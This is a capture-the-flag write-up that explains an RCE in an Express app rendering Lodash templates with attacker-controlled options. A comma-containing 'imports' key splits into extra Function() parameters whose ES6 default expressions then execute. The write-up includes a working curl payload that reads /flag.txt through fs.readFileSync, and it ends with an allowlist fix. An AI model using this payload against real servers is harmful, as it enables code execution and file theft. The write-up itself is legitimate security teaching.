WRITEUP

0xl4ugh CTF: GAP - JSON/JS Discrepancy → Lodash.template RCE

One JSON key becomes multiple JS parameters → values run out → ES6 default param executes.

platform: CTFdiff: elitedate: 2026-01-26
CONTENTS

Attack Chain

untrusted JSON → lodash importsKeys → Function(paramList) → comma-split signature → missing args → default param executes


Prerequisites, What you need to understand before reading

If you don’t understand these, the exploit will look like black magic.

  • Concept 1: How new Function(arg1, arg2, body) builds a function (arguments before the body are parameter names).
  • Concept 2: JavaScript coercion: arrays become comma-joined strings
    (["a","b"] → "a,b").
  • Concept 3: ES6 default parameters execute only when the argument is undefined.
  • Tooling: curl, basic Node/Express reading, and understanding JSON object keys.

Intro: What this challenge teaches

  • Goal: turn a “harmless” JSON field into code execution during template compilation.
  • Main idea: JSON keys are data… until a JS engine parses them as a function signature.
  • Key lesson: when user-controlled strings reach compiler-like sinks (Function, eval, template compilation), think structure injection, not string injection.

Code Analysis

High-level architecture

  • Endpoint: POST /render
  • Stack: Express + Consolidate + Lodash templates
  • Trust boundary: attacker controls template options via req.body.

The vulnerable path

The entire bug reduces to one bad trust decision:

server.js
JS
app.use(express.json());
 
app.post("/render", (req, res) => {
  // attacker controls template options
  res.render("index", req.body, (err, html) => {
    if (err) return res.sendStatus(500);
    res.send(html);
  });
});

Conceptual lodash behavior:

JS
importsKeys   = Object.keys(imports);
importsValues = values(imports, importsKeys);

Compiles template

JS
lodash.js:14981
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
    .apply(undefined, importsValues);
});

Fatal assumption: importsKeys are trusted variable names.

Why this works?

The bug exists because Lodash treats imports keys as variable names, while JavaScript treats function parameter lists as raw strings. When a comma-containing key crosses this boundary, a single JSON key expands into multiple parameters. Lodash supplies values positionally, not semantically, so excess parameters become undefined. In ES6, undefined is not a failure state, it is an execution trigger. so Function() parameter list is just a string

JS
new Function("a", "b", "return a + b");

But arrays are coerced:

JS
new Function(["a", "b"], "return a + b");
//becomes:
new Function("a,b", "return a + b");

The JS engine only sees commas.

One JSON key Leads to multiple JS parameters

JSON
{
  "imports": {
    "left, right": "VALUE"
  }
}

Lodash sees:

importsKeys = ["left, right"];

importsValues = ["VALUE"];

Compiled function

  • function anonymous(left, right)

Mapping:

ParameterValueResult
leftVALUEfilled
rightundefinedgap

ES6 default parameters execute on undefined

JS
function demo(x = console.log("0xMRMA")) {}
demo(undefined); // prints "0xMRMA"

We’re not injecting into the template body. We’re executing code during argument initialization.

Exploit Strategie I used

Let injected values get consumed:

JSON
{
  "imports": {
    "a, b, c = console.log(\"PING\")": "X"
  }
}

Mapping:

ParamValueResult
aXfilled
blodash objectswallowed
cundefinedexecutes

Why I chose this chain?

  • No quote breaking

  • No template body injection

  • No escaping

  • Pure structure abuse

That’s why the name “Gap” is perfect.

My working payload

BASH
curl -X POST http://challenges3.ctf.sd:34192/render \
    -H "Content-Type: application/json" \
    -d '{"imports":{"a,b,c,input=process.mainModule.require('"'"'fs'"'"').readFileSync('"'"'/flag.txt'"'"','"'"'utf8'"'"')":1}
    }'

Key properties

Cause:

  • One JSON key → multiple JS parameters
  • Lodash binds arguments positionally

Effect:

  • Values run out
  • Missing parameters become undefined
  • Default expressions execute → RCE

Solve Analysis, What happened on the server?

  • Express parses JSON → req.body

  • Renderer forwards attacker-controlled imports

  • Lodash extracts keys (comma-containing string)

  • Function() builds a multi-parameter signature

  • Values run out → gap

  • Default parameter executes → RCE

Any system that forwards user-controlled strings into function signatures, argument lists, or compiler-like constructs becomes vulnerable to alignment attacks. The exploit does not rely on JavaScript, it relies on positional binding and default evaluation semantics.

Real-World Fix. How to prevent this Defensive rules?

  • Never pass user input as template options

  • Allowlist locals explicitly

  • Define helper imports server-side only

Minimal correct fix

JS
app.post("/render", (req, res) => {
  const safe = {};
  const allow = ["title", "content", "items"];
 
  for (const k of allow) {
    if (Object.prototype.hasOwnProperty.call(req.body, k)) {
      safe[k] = req.body[k];
    }
  }
 
  delete safe.imports;
  delete safe.settings;
 
  res.render("index", safe, (err, html) => {
    if (err) return res.sendStatus(500);
    res.send(html);
  });
});
 

If helpers are needed

JS
const SAFE_IMPORTS = Object.freeze({
  // escapeHtml, formatDate, etc
});
res.render("index", { ...safe, imports: SAFE_IMPORTS });

Closing

One JSON key becomes many JS parameters, the values run out, and undefined turns into execution.